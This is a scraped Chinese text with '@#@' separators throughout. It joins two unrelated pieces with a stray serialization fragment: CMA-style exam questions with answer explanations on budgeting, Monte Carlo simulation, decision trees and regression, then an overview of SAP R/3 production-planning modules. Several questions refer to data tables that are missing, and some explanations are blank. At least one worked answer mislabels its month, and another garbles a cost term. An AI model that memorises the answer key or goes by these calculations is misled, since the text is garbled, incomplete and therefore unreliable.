@#@33,100箱LDC,每箱$32.00的销售收入是1,059,200,高于$1,000,000的门槛。
@#@因此,销售人员将获的$1,059,200的8%佣金。
@#@(0.08)($1,059,200)=$84,736的预算佣金@#@7、Jordan公司制定了以下的生产计划@#@每个产品包含3磅的直接材料。
@#@期望的直接材料在每月的期末存货是120%的下一个月的产量,加上500磅。
@#@Jordan已经制定了以下的直接人工的标准@#@Jordan在3月份要采购多少原材料?
@#@@#@A、37,800磅@#@B、27,000磅@#@C、32,900磅@#@D、43,700磅@#@试题解析:
@#@@#@月度原材料采购要求必须足够满足月度生产要求,加上要求的月度期末存货,减去月度期初存货。
@#@月度原材料采购数量=当月生产要求+当月的期末存货–当月的期初存货=[(当月要求的生产数量)(单位产品需要的原材料数量)]+[(下月生产)(1.2)+500磅]+(当月原材料期初存货)(注:
@#@当月的原材料期初存货是当月生产量乘以1.2)。
@#@每个产品需要的原材料是3磅。
@#@每月的期末原材料存货是下月生产要求的120%或1.2倍,也就是每个3.6磅(1.2乘以3磅)乘以下月的生产量再加500磅。
@#@注意的是一个月的期末存货将成为下一个月的期初存货。
@#@@#@3月的原材料要求=3月生产量x每个使用的磅数=9,000x3=27,000@#@3月的原材料期末存货=(1.2)(3磅)(12,000四月产量)+500磅=43,200+500=43,700磅@#@3月的原材料期初存货(也就是二月的原材料期末存货)=(1.2)(3磅)(9,0003月产量)+500磅=32,400+500=32,900磅。
@#@因此,3月原材料采购要求=27,000+43,700–32,900=37,800磅@#@8、Jordan公司制定了以下的生产计划@#@每个产品包含3磅的直接材料。
@#@期望的直接材料在每月的期末存货是120%的下一个月的产量,加上500磅。
@#@Jordan已经制定了以下的直接人工的标准@#@Jordan公司2月份使用的总预算直接人工金额将是多少?
@#@@#@A、$165,750@#@B、$175,500@#@C、$210,600@#@D、$156,000@#@试题解析:
@#@@#@每月预算直接人工成本等于发生在部门1的月度预算直接人工成本加上发生在部门2的月度预算直接人工成本。
@#@部门1的月度预算直接人工成本等于月度预算生产量乘以每个产品2直接人工小时再乘以每直接人工小时$6.75。
@#@部门2的月度预算直接人工成本等于月度预算生产量乘以每个产品0.5直接人工小时再乘以每直接人工小时$12.00。
@#@3月份部门1预算直接人工成本=(8,000个)(2直接人工小时)($6.75)=$108,000。
@#@3月分部门2预算直接人工成本=(8,000)(0.5直接人工小时)($12.00)=$48,000。
@#@因此,二月份两个部门的预算直接人工成本=$108,000+$48,000=$156,000@#@9、Karmee公司收集经营数据以制定年度的预算。
@#@关于Karmee来年的前6个月的销售如下@#@变动经营费用(销售成本之外)是10%的销售,在销售后的第一个月内支付,年度固定经营费用如下所示。
@#@所有这些都是均匀地发生在一年里,每月支付,除了保险是1月、4月、7月和10月支付。
@#@财产税是4月和10月支付@#@年度固定经营费用:
@#@@#@Karmee公司在3月份回款的现金中从3月份销售中回款的现金是多少?
@#@@#@A、$140,000@#@B、$210,000@#@C、$350,000@#@D、$308,000@#@试题解析:
@#@@#@月度销售包括20%的现金销售和80%的赊账销售。
@#@30%的赊账销售在销售当月收回,这意味着80%的赊账销售,只有30%的金额在销售月份被收回。
@#@3月份从3月份销售中回款的现金=(0.20)($700,000)+(0.30)(0.80)($700,000)=$140,000+$168,000=$308,000@#@10、Karmee公司收集经营数据以制定年度的预算。
@#@关于Karmee来年的前6个月的销售如下@#@变动经营费用(销售成本之外)是10%的销售,在销售后的第一个月内支付,年度固定经营费用如下所示。
@#@所有这些都是均匀地发生在一年里,每月支付,除了保险是1月、4月、7月和10月支付。
@#@财产税是4月和10月支付@#@年度固定经营费用:
@#@@#@在Karmee公司的模拟损益表上显示2月份的产品销售成本的金额是多少@#@A、$240,000@#@B、$280,000@#@C、$266,000@#@D、$260,000@#@试题解析:
@#@@#@产品销售成本是40%的销售。
@#@因此,2月的产品销售成本预计是0.4($650,000)=$260,000@#@11、Karmee公司收集经营数据以制定年度的预算。
@#@关于Karmee来年的前6个月的销售如下@#@变动经营费用(销售成本之外)是10%的销售,在销售后的第一个月内支付,年度固定经营费用如下所示。
@#@所有这些都是均匀地发生在一年里,每月支付,除了保险是1月、4月、7月和10月支付。
@#@财产税是4月和10月支付@#@年度固定经营费用:
@#@@#@Karmee公司在4月份的经营费用(产品销售成本之外的费用)的总现金支出是多少?
@#@@#@A、$385,000@#@B、$255,000@#@C、$290,000@#@D、$420,000@#@试题解析:
@#@@#@4月份经营费用的现金支出需要覆盖固定和变动成本@#@固定成本:
@#@预计广告费用的1/12;@#@1/4的预计保险支出;@#@1/2德预计财产税支出;@#@1/12的预计工资支出@#@变动成本:
@#@10%的3月份销售@#@总现金支出=广告费+保险费+财产税费用+工资费用+变动成本=(1/12)($720,000)+(1/4)($180,000)+(1/2)($240,000)+(1/12)($1,080,000)+(0.1)($700,000)=$60,000+$45,000+$120,000+$90,000+$70,000=$385,000@#@注:
@#@折旧费用被忽略,因为它不影响现金流。
@#@@#@12、Daffy公司使用活动件和一个内置音盒生产兔子玩具。
@#@预计的销售额如下:
@#@@#@每个兔子所需要的基本材料都是Daffy从一个外部供应商那里采购的,每个兔子是$3.50。
@#@音盒则从另一个供应商那里采购,每个$1.00。
@#@装配人工成本是每个兔子$2.00,变动间接费用是每个途兔子$.50。
@#@分摊给兔子的固定生产间接费用是每月$12,000。
@#@Daffy的政策是在从1月开始的基数月里生产下月预计销售量1.5倍,在偶数月里生产下月预计销售量的0.5倍。
@#@这样Daffy就可以将偶数月的生产资源用于生产其他需要的产品。
@#@1月份兔子的预算生产量是@#@A、45,000个@#@B、54,000个@#@C、14,500个@#@D、60,000个@#@试题解析:
@#@@#@基数月的生产量是下一个月预计销售量的1.5倍。
@#@因此,1月份的销售是2月份预计销售的1.5倍,也就是1.5(36,000个)=54,000个@#@13、Daffy公司使用活动件和一个内置音盒生产兔子玩具。
@#@预计的销售额如下:
@#@@#@每个兔子所需要的基本材料都是Daffy从一个外部供应商那里采购的,每个兔子是$3.50。
@#@音盒则从另一个供应商那里采购,每个$1.00。
@#@装配人工成本是每个兔子$2.00,变动间接费用是每个途兔子$.50。
@#@分摊给兔子的固定生产间接费用是每月$12,000。
@#@Daffy的政策是在从1月开始的奇数月里生产下月预计销售量1.5倍,在偶数月里生产下月预计销售量的0.5倍。
@#@这样Daffy就可以将偶数月的生产资源用于生产其他需要的产品。
@#@2月份兔子的生产预算金额是多少?
@#@@#@A、$327,000.@#@B、$127,500.@#@C、$390,000.@#@D、$113,500.@#@试题解析:
@#@@#@2月份生产的预算成本是将单位变动生产成本(每个兔子的基础材料、音盒、装配人工和变动间接费用)乘以兔子的生产数量,再加上月度固定生产间接费用$12,000。
@#@每个兔子的变动成本是$3.50(基础材料)+$1.00(音盒)+$2.00(直接材料)+$0.50(变动间接费用),总计每个$7。
@#@2月份预算产量(偶数月)是:
@#@0.5(33,000个)=16,500个。
@#@2月份的预算成本=$7(16,500个)+$12,000=$115,500+$12,000=$127,500@#@14、以下哪项最好地描述了战术利润计划?
@#@@#@A、具体的,短期的,所有层级都有责任的,定量的@#@B、具体的,短期的,广泛责任的,定性的@#@C、宽泛的,短期的,所有层级都有责任的,定量的@#@D、宽泛的,长期的,广泛责任的,定性的@#@试题解析:
@#@@#@战术利润计划或预算应该有以下的特征:
@#@具体的,短期的,在所有层级分配责任,定量的。
@#@@#@15、以下的信息是关于Clyde公司。
@#@它在最近的一个会计期间内生产和销售了50,000个产品@#@在下一个会计期间,如果生产和销售预计是40,000个。
@#@公司预计单位边际贡献是多少?
@#@@#@A、$0.55.@#@B、$3.10.@#@C、$13.30.@#@D、$7.98.@#@试题解析:
@#@@#@单位边际贡献是单位销售价格减去所有变动成本。
@#@公司销售50,000个产品,产生收入$850,000,单位销售价格是$17($850,000/50,000=$17)。
@#@单位变动生产成本是$2.80($140,000/50,000)。
@#@单位变动销售与经营成本$0.90($45,000/50,000)。
@#@单位边际贡献等于$13.30($17-$2.80-$0.90)。
@#@@#@16、Steers公司刚完成它来年的模拟财务报表。
@#@相关信息如下所示@#@预计净利润$100,000@#@预计资本支出50,000@#@增加的营运资本25,000@#@折旧费用15,000@#@假设增加的营运资本是由于应收款余额的增加,Steer来年现金帐户增加多少?
@#@@#@A、$25,000@#@B、$90,000@#@C、$160,000@#@D、$40,000@#@试题解析:
@#@@#@净利润$100,000@#@资本支出-50,000@#@营运资本增加-25,000@#@折旧15,000@#@现金增加40,000@#@17、Holland公司正在预测它在2季度末的现金状况。
@#@以下Holland的记录提供了相关的信息@#@从以上的数据中,判断Holland在2季度末的预计现金余额@#@A、$0@#@B、$25,000.@#@C、$60,000.@#@D、$95,000.@#@试题解析:
@#@@#@18、以下哪项是模拟财务报表的最好用途?
@#@@#@A、向潜在投资者显示他们将如何挣到一个合理的回报率@#@B、回顾过去5年公司的财务报表@#@C、使高层管理者能够控制下级经理的活动@#@D、使财务主管能够进行合理的短期投资@#@试题解析:
@#@@#@潜在投资者使用财务报表,不管是历史的还是模拟的,来估计发行者未来的经济表现(现金和利润)以及估计投资发行者证券的预期回报。
@#@潜在投资者将发行者的预期回报他/她自己的期望回报进行比较,看是否合理。
@#@@#@19、Steers公司刚完成它来年的模拟财务报表。
@#@相关信息如下所示@#@预计净利润$100,000@#@预计资本支出50,000@#@增加的营运资本25,000@#@折旧费用15,000@#@假设增加的营运资本是应付款减少所造成的,在不向外融资的情况下,Steers最多可以进行多少资本支出?
@#@@#@A、$100,000@#@B、$90,000@#@C、$50,000@#@D、$40,000@#@试题解析:
@#@@#@在不向外融资的情况下,Steers最多可以进行多少资本支出等于它的模拟经营现金流。
@#@模拟经营现金流等于模拟净利润加上模拟折旧再减去模拟营运资本的增加@#@模拟现金流=来自经营的现金流+折旧费用–增加的营运资本=$100,000+$15,000–$25,000=$90,000。
@#@因此$90,000可以用于资本支出。
@#@@#@20、Richmond公司正在检查它的政策和流程,努力增强整个组织的目标一致。
@#@最可能鼓励这种行为的流程是@#@A、参与式预算编制,交叉成本分摊和目标管理绩效评估@#@B、交叉成本分摊,零基预算和标准成本法@#@C、成本为基础的转移定价,实施预算和作业成本法@#@D、目标管理绩效评估和参与式预算编制@#@试题解析:
@#@@#@低层管理者参与预算编制和目标管理可以增进目标一致。
@#@MBO识别经理的责任范围并将绩效衡量与这个范围联系起来。
@#@它把完成目标的责任推向尽可能低的管理层级,并鼓励参与。
@#@@#@21、JanetJones是AllPurpose加热器公司的分析师。
@#@她计划使用蒙特卡罗(MonteCarlo)实验来模拟AllPurpose加热器的每天需求量。
@#@对加热器的每天需求的概率分布,以及分配给每个结果的随机数字间隔如下图所示。
@#@@#@Jones从随机数字表中得到以下一组随即两位数数字:
@#@09,24,03,32,23,59,95,34,46,51@#@基于以上信息,加热器每天需求量的估计值是多少?
@#@@#@A、2.5@#@B、2.7@#@C、3.0@#@D、2.0@#@试题解析:
@#@@#@蒙特卡洛(MonteCarlo)技术通过使用随即产生的数字来模拟加热器的预期需求来解决这个问题。
@#@以下是随机数字,以及对应每个随即数字的每天需求量。
@#@@#@要计算平均模拟需求,将十个每天的需求数量加总,并除以所使用的随机数字的数量。
@#@平均模拟需求=(0+1+0+2+1+3+5+2+3+3)/10=2.0@#@22、当用蒙特卡罗实验进行模拟,长期的平均模拟需求应该接近于@#@A、实际的需求@#@B、预期的需求@#@C、真实的需求@#@D、采样的需求@#@试题解析:
@#@@#@蒙特卡罗(MonteCarlo)模拟的目的是获得平均模拟需求,它接近于平均预期需求。
@#@@#@23、决策树法可以与以下哪(几)项结合起来应用@#@I.期望价值@#@II.最大后悔@#@III.最大后悔最小化@#@A、I,II和III.@#@B、I@#@C、I和II@#@D、I和III@#@试题解析:
@#@@#@决策树法可以在有概率或没有概率下应用。
@#@不需要使用概率的决策技术包括最大后悔最小化,最大后悔(保守)以及最大化法。
@#@使用概率的技术是期望价值。
@#@@#@24、结合最近的预测值和最近的观测值的预测技术称为@#@A、德尔菲@#@B、最小二乘法@#@C、指数平滑法@#@D、回归@#@试题解析:
@#@@#@指数平滑法结合最近的预测值和最近的观测值@#@Ft+1=aYt+(1-a)Ft@#@t=当期@#@Ft+1=t+1期的预测值@#@Yt=当期的实际值@#@Ft=当期的预测值@#@a=平滑系数@#@25、Carson公司销售运动衫,并正在为世界杯足球赛作准备。
@#@每件运动衫的成本随采购数量的变化而变化,并如下所示@#@Carson必须在比赛开始前的一个月前采购运动衫。
@#@它通过分析市场,估计销售水平如下@#@估计的销售价格在比赛前和比赛日是每件$25。
@#@比赛之后剩下的衣服可以整批处理给一家当地的折扣店,每件$10。
@#@如果Carson采购6,000件衣服,那么它的预期利润是多少@#@A、$66,000@#@B、$69,000@#@C、$72,000@#@D、$64,500@#@试题解析:
@#@@#@26、一个企业销售的时间序列分析显示,每到夏天销售就下降,而在冬天销售达到最高。
@#@这个结果是@#@A、向下的趋势@#@B、向上的趋势@#@C、经济性波动@#@D、季节性波动@#@试题解析:
@#@@#@季节性的组成部分是单个财政或自然年度内一个数据随时间(作为自变量)的变化。
@#@不像直的趋势线,你可以看到有规则的高峰和谷底@#@27、一个杂货店想要确定是否要在它的高峰时间段内增加收银员。
@#@但是在增加收银员之前,杂货店要确定顾客排队等待的平均时间是多少。
@#@这个杂货店分析此类问题应该采用的技术是?
@#@@#@A、排队理论@#@B、蒙特卡罗模拟@#@C、马尔科夫过程@#@D、决策树分析@#@试题解析:
@#@@#@应该用排队理论分析这类问题,因为这是用于确定排队的效率@#@28、一个公司正试图确定在这个季节推出两个新产品中的哪一个。
@#@根据对产品A做的市场调查,20%的概率销售额是$800,000,50%的概率是$1,200,000,30%的概率是$1,500,000。
@#@同样的对产品B的市场调查显示,40%的概率销售额是$900,000,60%的概率是$2,000,000。
@#@假设公司推出产品A的成本是$500,000,推出产品B的成本是$650,000,这个公司应该推出哪个产品?
@#@@#@A、他应该推出产品A,因为它有期望利润$1,210,000@#@B、他应该推出产品A,因为它有期望利润$710,000.@#@C、他应该推出产品B,因为它有期望利润$1,560,000@#@D、他应该推出产品B,因为它有期望利润$910,000@#@试题解析:
@#@@#@产品A的销售额的期望值是$1,210,000(800,000x0.2+1,200,000x0.5+1,500,000x0.3)。
@#@由于推出这个产品的推出成本是$500,000,产品A的期望利润$710,000(1,210,000-500,000)。
@#@而产品B的销售额期望值是$1,560,000(900,000x0.4+2,000,000x0.6)。
@#@由于这个产品的推出成本是$650,000,期望利润是$910,000(1,560,000-650,000)。
@#@公司应该推出产品B,因为它有更高的期望利润。
@#@@#@29、你正在玩扑克牌游戏,从52张牌中抽出两张。
@#@如果你抽到的第一张牌是A,第二张牌是K,你就赢了。
@#@你赢得游戏的概率是多少?
@#@@#@A、2/52@#@B、(4/52)x(4/51)@#@C、(4/52)x(4/52)@#@D、(1/4)x(1/4)@#@试题解析:
@#@@#@当抽第一张牌时,52张牌中有4张A。
@#@当抽第二张牌时,51张牌中有4个K。
@#@因此,赢得游戏的概率是(4/52)x(4/51)。
@#@@#@30、GoodQuality家具公司的桌子和椅子都很有名。
@#@每张桌子需要4小时木工和我2小时漆工。
@#@每把椅子需要3小时木工和1小时漆工。
@#@公司总共有240小时的木工和100小时的漆工。
@#@如果每张桌子能产生$7的利润,而每把椅子能产生$5的利润,GoodQuality家具公司要实现利润最大化,那么它应该生产多少桌子和椅子?
@#@@#@A、30桌子和40椅子@#@B、50桌子,没有椅子@#@C、80椅子,没有桌子@#@D、30椅子和我40桌子@#@试题解析:
@#@@#@GoodQuality家具公司需要确定能使利润最大化的桌子生产数(T)和椅子生产数(C)。
@#@公司面临以下的目标和约束:
@#@@#@如图表所示,最佳点是两条约束线的交点。
@#@因此,企业需要生产30桌子和40椅子才能利润最大。
@#@用代数法,可以解这两个约束方程来找到两条线的交叉点。
@#@@#@31、HighConcept时尚公司为配合新店扩张,正在计划未来几个月之后的下一个广告活动。
@#@公司能够进行回归分析,并得到以下结果:
@#@@#@销售收入=200,000+15×@#@广告预算,R方=0.85@#@过去几年公司的广告预算通常在每年$10,000到$15,000的范围内。
@#@为了这次扩张,它计划在今年支出$50,000。
@#@根据这次新的广告预算,HighConcept时尚公司应该@#@A、预测$200,000的销售收入@#@B、预测$900,000的销售收入@#@C、不能做任何预测,因为新的预算超出了用于做回归方程的样本范围@#@D、预测$200,750的销售收入@#@试题解析:
@#@@#@由于回归方程估计的是每年$10,000至$15,000范围内的广告预算,因此这个范围内的广告预算可以最好地预测销售收入。
@#@如果企业用超出每年$10,000至$15,000范围的来预测销售收入,结果可能不再可靠。
@#@@#@32、MaxisTech公司试图确定一名员工的绩效评定如何用他/她的教育水平(EDU),雇佣时间(EMP)和接受的培训时间(TRN)来解释。
@#@使用了100名员工的数据,MaxisTech采用了回归分析,并得到以下的结果@#@绩效评级=0.2+0.32EDU+0.15EMP+0.07TRN。
@#@R方=0.72,EDU回归系数的T值=0.013,EMP回归系数的T值=3.276,TRN回归系数的T值=4.121。
@#@@#@以下哪个表述最好地描述了在员工绩效评级中的三个因素的影响的统计显著性?
@#@@#@A、所有3个的影响都是统计性显著的,因为R2相对较高@#@B、只有接受培训时间的影响是统计性显著,因为它的t值最高。
@#@@#@C、雇用时间和接受的培训时间有统计显著性影响,因为t值的绝对值高于最极端的分界点@#@D、没有一个因素是统计性";i:
16;s:
18541:
"SAP+R3+PP生产计划和控制@#@SAP @#@R3 @#@PP生产计划和控制@#@一、 @#@R/3 @#@生产计划系统主要特征及模型:
@#@ @#@@#@1、主要特征 @#@@#@ R/3 @#@PP生产计划系统是一个综合性的企业资源计划系统,包括制造执行系统的全部功能。
@#@它 @#@@#@完整地集成各种应用领域的所有业务功能,支持客户订单快速处理。
@#@你可以用R/3业务模型的组织 @#@@#@实体同任何现有企业组织结构对应起来。
@#@R/3支持跨越多个公司的事务处理,以及同一企业各组织 @#@@#@实体之间的分销需求计划。
@#@ @#@@#@2、制造资源管理模型 @#@@#@ R/3 @#@PP生产计划系统是一个联机处理的制造资源计划系统,同所有R/3应用程序完全集成。
@#@ @#@@#@R/3 @#@PP完全支持APICS的MRP @#@II模型。
@#@R/3同传统的MRP @#@II系统不同,它不仅集成了财务和后勤的 @#@@#@计划和执行功能,而且将企业的利润控制贯穿于整个供应链,完成了供应链到价值链的升华。
@#@此 @#@@#@外,R/3 @#@PP还提供制造执行系统(MES)的所有功能。
@#@同时,R/3还具有强大的面向客户并充分集 @#@@#@成各种销售业务的功能。
@#@ @#@@#@ 在所有R/3事务处理中,用户可享受到集成的好处。
@#@例如:
@#@ @#@@#@ R/3将销售订单的需求量转换至主计划。
@#@新的客户需求量立即显示在主计划员面前。
@#@这是保证 @#@@#@按时发货的最快途径。
@#@ @#@@#@ 所有存货消耗量及货物入库事务处理同步地过帐到总帐科目。
@#@ @#@@#@ 车间订单确认及倒冲发料联机过帐到所有总帐的有关科目。
@#@生产成本中心及时从生产作业活 @#@@#@动得到贷方金额。
@#@分配到生产成本采集点的成本是同步发生的。
@#@任何时候你都可以联机得到与生 @#@@#@产有关的最新成本信息。
@#@ @#@@#@ 如果你是一个订货生产类型的制造商,你可以连续监控所有与订单有关的成本。
@#@你甚至可以 @#@@#@用R/3对比冻结成本、实际/目标成本和所有发生的成本。
@#@当你向客户发货并开具发票时,你会立 @#@@#@即知道你的利润有多少。
@#@ @#@@#@ 由于R/3集成所有的业务流程,它是一个业务流程重组的极好工具。
@#@R/3将帮助你克服支离破 @#@@#@碎的业务流程,并优化贯穿设计、销售、生产、分配和成本核算的工作流程。
@#@ @#@@#@图3-1:
@#@R/3的MRPII模型 @#@@#@二、该系统具备的主要功能:
@#@ @#@@#@ * @#@制定销售计划 @#@@#@ * @#@编制主生产计划 @#@@#@ * @#@生成物料需求计划 @#@@#@ * @#@市场预测 @#@@#@ * @#@生产资源计划 @#@@#@ * @#@能力计划 @#@@#@ * @#@生产活动控制 @#@@#@ * @#@工厂数据采集 @#@@#@ 下面分别简要阐述各模块功能的实施:
@#@ @#@@#@ 1、SOP销售及运作计划模块 @#@@#@ 销售和运作计划(SOP)是一个通用的计划和预测工具,你可以用它来使你的公司的经营现代 @#@@#@化,优化公司的业务。
@#@ @#@@#@ SOP的集成功能使你对公司的各项活动一目了然。
@#@你可以汇总不同的内部和外部的数据,作为 @#@@#@设置现实经营目标的依据。
@#@这提供了现实检查的机会:
@#@我的业务策略是否反应我的经营能力和市 @#@@#@场需求?
@#@这样,用SOP,你就可以采取有针对性的计划。
@#@ @#@@#@ SOP的延展性使它适用于对任何逻辑数据进行高级的或详细的计划。
@#@弹性计划层次使你可以从 @#@@#@几乎所有组织单位(例如,销售组织,物料组,生产工厂,产品组)的角度甚至整个企业的角度 @#@@#@创建和查看你的数据。
@#@由于充分支持集中规划,SOP适用于销售、生产、采购,库存管理等的中长 @#@@#@期计划。
@#@ @#@@#@ 你使用的计划表是电子表格。
@#@因此你可以大范围地进行跟踪先前计划数据、预测市场需求、 @#@@#@运行分析,条件模拟等各种操作。
@#@ @#@@#@ 2、需求管理(DM) @#@@#@ 需求管理的功能是用来确定成品与重要部件的需求数量与交货日期。
@#@需求管理的结果就是所 @#@@#@谓的需求大纲。
@#@ @#@@#@ 为了创建需求大纲,你必须首先定义用于计划某一产品的计划策略。
@#@该计划策略代表了用于 @#@@#@计划与制造或者采购产品的不同的生产方法。
@#@ @#@@#@ 使用这些策略,你可以决定是否仅由销售订单来触发生产(定制)或者不由销售订单来触发 @#@@#@生产(为库存生产)。
@#@或者,你可能想使需求大纲中既有销售订单也有库存订单。
@#@如果生产时间 @#@@#@比标准的市场交货时间长,那么你可能想在任何销售订单存在之前生产成品或至少生产某些部 @#@@#@件。
@#@在这种情况下,销售数量是预先计划好的(例如,在销售预测的指导下)。
@#@ @#@@#@ 可以以计划的独立需求形式创建需求大纲。
@#@需求管理使用计划的独立需求而客户需求是在销 @#@@#@售订单管理中创建的。
@#@ @#@@#@计划策略表示计划生产数量与日期的业务过程。
@#@在SAP系统中可以使用广泛的生产计划策略,范围 @#@@#@从纯订货型生产到备货型生产。
@#@根据所选择的策略,可以使用销售订单和/或销售预测值来创建需 @#@@#@求大纲。
@#@你也可以选择把库存水平移至装配水平以便由新接销售订单来触发最终装配。
@#@否则,你 @#@@#@也可以专门为装配执行需求管理。
@#@ @#@@#@ 例如,你可以把计划策略组合起来,这意味着你可以为成品选择策略"@#@带最终装配的计划"@#@, @#@@#@但是你仍然可以选择不同的策略,如在此成品的BOM中关于一个重要部件的"@#@在装配层的计划"@#@。
@#@ @#@@#@ 在系统定制中列出了可用于一个物料的计划策略,并且通过策略组该计划策略被分配给物料 @#@@#@主记录中的物料,可以为每一种策略定义包含重要控制参数的需求类型。
@#@ @#@@#@ 如上面所提到的,在SAP标准系统中可以使用完整范围的策略,在下列部分中对这些策略给出 @#@@#@了详细的描述:
@#@ @#@@#@ ★备货型生产(10/11) @#@@#@ ★按销售与库存订单以批量生产(30) @#@@#@ ★最终装配计划(40) @#@@#@ ★没有最终装配的计划(50) @#@@#@ ★带有计划物料的计划(60) @#@@#@ ★在装配级计划(70)/在虚拟装配级计划(59) @#@@#@ ★订货型生产(20) @#@@#@ ★具有配置的订货型生产(25) @#@@#@ ★物料变式的订货型生产(3.0C:
@#@可库存的类型)(26) @#@@#@ ★无最终装配的计划物料变式(3.0C:
@#@可库存类型)(55) @#@@#@ ★使用计划物料计划物料变式(65) @#@@#@ ★特性计划(56/89) @#@@#@ ★计划变式(54) @#@@#@ 3、主生产计划(MPS) @#@@#@ 主计划和物料需求计划的目的是定制可用能力和收货以适合需求数量。
@#@为了确保物料的可用 @#@@#@量,不同的缓冲时间和安全库存被输入,这不可避免导致了高库存水平。
@#@因此尤其对于有价值的 @#@@#@物料会出现高仓储成本。
@#@ @#@@#@ 为了减少这些高仓储成本并同时增加计划稳定性,成品计划和主部件应该很好地协调,因为 @#@@#@这些产品的主计划对整个生产流程影响很大。
@#@相关零部件的计划依赖于成品的计划结果和主部 @#@@#@件,尽管成品代表所有将被计划物料的一小部分。
@#@在成品级的频繁更改可引起完整计划运行的不 @#@@#@稳定。
@#@记住这些事实,MRP控制者经常计划高安全库存水平和缓冲时间以保证物料可用量而不管计 @#@@#@划的难度。
@#@ @#@@#@ 因而,使用附加注意来单独计划成品和重要的部件是有意义的。
@#@这些物料可以作为主计划项 @#@@#@目在SAP系统中被标识,它可以被计划并通过使用一系列特殊工具最终被调整。
@#@对这些"@#@主计划项 @#@@#@目"@#@的计划导致库存水平的减少并同时提高交货性能和使服务水平更为可靠。
@#@ @#@@#@ 综合而述,R/3主计划模块的主要特征为:
@#@ @#@@#@ R/3主计划模块包括需求管理、生产计划管理及主生产计划(MPS)。
@#@ @#@@#@ 需求管理与销售与运作计划(SOP)及销售与分销的计划功能完全集成。
@#@ @#@@#@ 可以根据生产率或根据详细工艺路线进行集成的能力计划。
@#@ @#@@#@ MPS可以在任何计划层进行也可以在多个层次进行。
@#@ @#@@#@ 在最终产品或物料层可以选择不同的计划策略,如按冲销预测或订货生产编制计划。
@#@ @#@@#@ 订单报告(多层)在所有的生产层次显示作业计划问题。
@#@ @#@@#@ R/3支持多地区分销资源计划(DRP)。
@#@ @#@@#@ 4、物料需求计划(MRP) @#@@#@ 物料需求计划的主要功能是保证物料的可用量,即它被用于为内部目的以及销售和分销而采 @#@@#@购或生产需求数量。
@#@这个过程包含库存监控,特别是用于采购和生产的订货建议。
@#@ @#@@#@ 在这个过程中,系统试图达到一方面服务层次最优化但同时在另一方面成本和资金占用最小 @#@@#@化之间的平衡。
@#@ @#@@#@ MRP控制者负责所有作业:
@#@指定类型,数量和需求时间,他也必须计算何时为订货建议创建多 @#@@#@少数量以满足这些需求。
@#@为了计算数量他需要知道库存、库存预留和库存订单的所有信息,为了 @#@@#@计算日期他也需要知道提前期和采购时间的信息。
@#@为了计算订货建议,MRP控制者必须为每个物料 @#@@#@定义适当的MRP过程和批量过程。
@#@ @#@@#@ 供应链开始于销售、分销和需求管理。
@#@在销售和分销中,包含实际客户需求的销售订单直接 @#@@#@从市场获得。
@#@在需求管理中,通过销售预测销售被提前计划。
@#@用此信息创建的计划独立需求(即 @#@@#@对成品、部件、可贸易的货物和替代零部件的需求)触发物料需求计划。
@#@为了满足这些需求,你 @#@@#@必须计算重订货数量和日期以及对应的采购元素。
@#@在计划运行中该采购元素是计划订单,或对于 @#@@#@外部采购,是请购单。
@#@这两个采购元素是内部计划元素,它可以在任何时候被更改、重计划或删 @#@@#@除。
@#@ @#@@#@ 如果一个物料是自制的,系统通过展开BOM来计算相关需求,或生产成品或部件所需的组件数 @#@@#@量。
@#@如果存在物料短缺,在每个BOM层创建计划订单以满足需求。
@#@ @#@@#@ 一旦系统完成计算数量和日期,这些计划元素、采购元素就被转换成准确的采购元素:
@#@它们 @#@@#@被转换成自制的生产订单和外部采购的采购订单。
@#@ @#@@#@ 自制物料的订单处理通过生产订单控制。
@#@生产订单包含它自己的排产过程,能力计划和状态 @#@@#@管理。
@#@通过单个生产订单来执行成本会计。
@#@ @#@@#@ 外部采购的物料触发采购过程。
@#@在这种情况下,你必须选择合适的供应商,或必须提出草案 @#@@#@协议。
@#@ @#@@#@ 通过生产或外部采购而可用的数量被放置在库存中并通过库存管理进行管理。
@#@ @#@@#@ 物料需求计划的目的是确保正确的物料能及时和在所需的数量上是可用的。
@#@在R/3系统中计划 @#@@#@运行有两个主要目的:
@#@ @#@@#@保证物料的可用量并同时避免过量的库存。
@#@ @#@@#@ 为了确定物料短缺的情况并在计划运行中创建合适的采购元素-这意味MRP控制者必须在物料 @#@@#@的例程监控中花较少的时间。
@#@为此,系统创建注意以通知MRP控制者关键部分和例外情况,以便他 @#@@#@能迅速地再处理自动计划运行的结果。
@#@ @#@@#@ 以下功能对物料需求计划是可用的:
@#@ @#@@#@ 总计划和单项计划 @#@@#@ 净改变计划和再生计划 @#@@#@ 物料计划过程(MRP和基于消耗的计划) @#@@#@ 批量确定过程 @#@@#@ 处理订货建议的易使用功能 @#@@#@ 具有计划订单的装配订单 @#@@#@ 覆盖范围(日供应) @#@@#@ 不连续的零部件 @#@@#@ 使用替代和代用零部件 @#@@#@ 直接采购和直接生产(汇总订单) @#@@#@ 评估计划结果的易使用功能 @#@@#@ 例外消息和计划调整检查 @#@@#@ 能力计划 @#@@#@ 可用量检查和拖欠订单处理 @#@@#@ 单层和多层溯源 @#@@#@ 销售订单的单项计划 @#@@#@ 计划可配套产品 @#@@#@ 基于事件的MRP @#@@#@ 多工厂/地点计划 @#@@#@ 5、生产计划及生产活动控制 @#@@#@ SAP系统中的生产订单 @#@@#@ 生产订单是PP生产计划系统的重要部分。
@#@PP系统是SAP后勤系统的完全集成的组件。
@#@它由下列 @#@@#@组件集成而成:
@#@ @#@@#@ 销售和分销(SD) @#@@#@ 物料管理(MM) @#@@#@ 成本控制(CO) @#@@#@ 生产计划和控制中的生产订单 @#@@#@ 在一个公司内,内部作业通过订单被处理。
@#@ @#@@#@ 一个生产订单指定何种物料将被生产,在何处被生产,使用什么作业并且用于什么日期。
@#@它 @#@@#@并指定在生产过程中需要什么资源,以及订单成本如何被结算。
@#@ @#@@#@ 来自前面计划层(MRP)的计划订单或内部请求一存在,生产作业控制就把特定订单的数据 @#@@#@(比如日期和数量)加入已存在的信息中。
@#@ @#@@#@ 生产订单被用于 @#@@#@控制和监控工厂中的生产 @#@@#@作为成本会计的成本控制指令 @#@@#@ 6、能力需求计划 @#@@#@ 利用R/3系统,你在工作中心中使用能力类别定义可用能力。
@#@当在人力计划和发展中计划人力 @#@@#@时你可以计划到单独的人。
@#@根据定义的工作中心的不同,你也可以定义下列能力类别 @#@@#@ 在工厂车间中的一台单独机器 @#@@#@ 操作一条生产线的一组人 @#@@#@ 在工厂维护中的一个维护工作中心 @#@@#@ 项目系统中的工程师组 @#@@#@ 订单是能力计划的核心。
@#@订单产生需求因此产生它们被处理的资源的负载。
